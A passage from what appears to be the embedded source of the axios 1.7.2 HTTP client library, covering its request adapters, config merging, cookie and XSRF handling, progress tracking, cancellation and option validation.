reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n const threshold = 1000 / freq;\n let timer = null;\n return function throttled() {\n const force = this === true;\n\n const now = Date.now();\n if (force || now - timestamp > threshold) {\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n timestamp = now;\n return fn.apply(null, arguments);\n }\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n timestamp = Date.now();\n return fn.apply(null, arguments);\n }, threshold - (now - timestamp));\n }\n };\n}\n\nexport default throttle;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null\n };\n\n data[isDownloadStream ? 'download' : 'upload'] = true;\n\n listener(data);\n }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n (function standardBrowserEnv() {\n const msie = /(msie|trident)/i.test(navigator.userAgent);\n const urlParsingNode = document.createElement('a');\n let originURL;\n\n /**\n * Parse a URL to discover its components\n *\n * @param {String} url The URL to be parsed\n * @returns {Object}\n */\n function resolveURL(url) {\n let href = url;\n\n if (msie) {\n // IE needs attribute set twice to normalize properties\n urlParsingNode.setAttribute('href', href);\n href = urlParsingNode.href;\n }\n\n urlParsingNode.setAttribute('href', href);\n\n // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n return {\n href: urlParsingNode.href,\n protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n host: urlParsingNode.host,\n search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n hostname: urlParsingNode.hostname,\n port: urlParsingNode.port,\n pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n urlParsingNode.pathname :\n '/' + urlParsingNode.pathname\n };\n }\n\n originURL = resolveURL(window.location.href);\n\n /**\n * Determine if a URL shares the same origin as the current location\n *\n * @param {String} requestURL The URL to test\n * @returns {boolean} True if URL shares the same origin, otherwise false\n */\n return function isURLSameOrigin(requestURL) {\n const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n return (parsed.protocol === originURL.protocol &&\n parsed.host === originURL.host);\n };\n })() :\n\n // Non standard browser envs (web workers, react-native) lack needed support.\n (function nonStandardBrowserEnv() {\n return function isURLSameOrigin() {\n return true;\n };\n })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + '=' + encodeURIComponent(value)];\n\n utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n utils.isString(path) && cookie.push('path=' + path);\n\n utils.isString(domain) && cookie.push('domain=' + domain);\n\n secure === true && cookie.push('secure');\n\n document.cookie = cookie.join('; ');\n },\n\n read(name) {\n const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n return (match ? decodeURIComponent(match[3]) : null);\n },\n\n remove(name) {\n this.write(name, '', Date.now() - 86400000);\n }\n }\n\n :\n\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {},\n read() {\n return null;\n },\n remove() {}\n };\n\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n if (baseURL && !isAbsoluteURL(requestedURL)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({caseless}, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, caseless) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(a, b, caseless);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a, caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n };\n\n utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n}\n\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n const lengthComputable = total != null;\n return (loaded) => setTimeout(() => fn({\n lengthComputable,\n total,\n loaded\n }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n try {\n return utils.isReadableStream(new Response('').body);\n } catch(err) {\n // return undefined\n }\n})();\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n })\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils.isBlob(body)) {\n return body.size;\n }\n\n if(utils.isSpecCompliantForm(body)) {\n return (await new Request(body).arrayBuffer()).byteLength;\n }\n\n if(utils.isArrayBufferView(body)) {\n return body.byteLength;\n }\n\n if(utils.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n composeSignals([signal, cancelToken], timeout) : [];\n\n let finished, request;\n\n const onFinish = () => {\n !finished && setTimeout(() => {\n composedSignal && composedSignal.unsubscribe();\n });\n\n finished = true;\n }\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader)\n }\n\n if (_request.body) {\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n requestContentLength,\n progressEventReducer(onUploadProgress)\n ), null, encodeText);\n }\n }\n\n if (!utils.isString(withCredentials)) {\n withCredentials = withCredentials ? 'cors' : 'omit';\n }\n\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n withCredentials\n });\n\n let response = await fetch(request);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n responseContentLength,\n progressEventReducer(onDownloadProgress, true)\n ), isStreamResponse && onFinish, encodeText),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && onFinish();\n\n stopTimeout && stopTimeout();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n })\n })\n } catch (err) {\n onFinish();\n\n if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n let {responseType} = _config;\n let onCanceled;\n function done() {\n if (_config.cancelToken) {\n _config.cancelToken.unsubscribe(onCanceled);\n }\n\n if (_config.signal) {\n _config.signal.removeEventListener('abort', onCanceled);\n }\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n _config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (typeof _config.onDownloadProgress === 'function') {\n request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n }\n\n // Not all browsers support upload events\n if (typeof _config.onUploadProgress === 'function' && request.upload) {\n request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (cancel) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = cancel instanceof Error ? cancel : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n }\n\n let timer = timeout && setTimeout(() => {\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n }, timeout)\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal &&\n (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n });\n signals = null;\n }\n }\n\n signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = unsubscribe;\n\n return [signal, () => {\n timer && clearTimeout(timer);\n timer = null;\n }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n for await (const chunk of iterable) {\n yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n const iterator = readBytes(stream, chunkSize, encode);\n\n let bytes = 0;\n\n return new ReadableStream({\n type: 'bytes',\n\n async pull(controller) {\n const {done, value} = await iterator.next();\n\n if (done) {\n controller.close();\n onFinish();\n return;\n }\n\n let len = value.byteLength;\n onProgress && onProgress(bytes += len);\n controller.enqueue(new Uint8Array(value));\n },\n cancel(reason) {\n onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n}\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n getAdapter: (adapters) => {\n adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n}\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators[type] = function validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nexport default {\n assertOptions,\n validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport 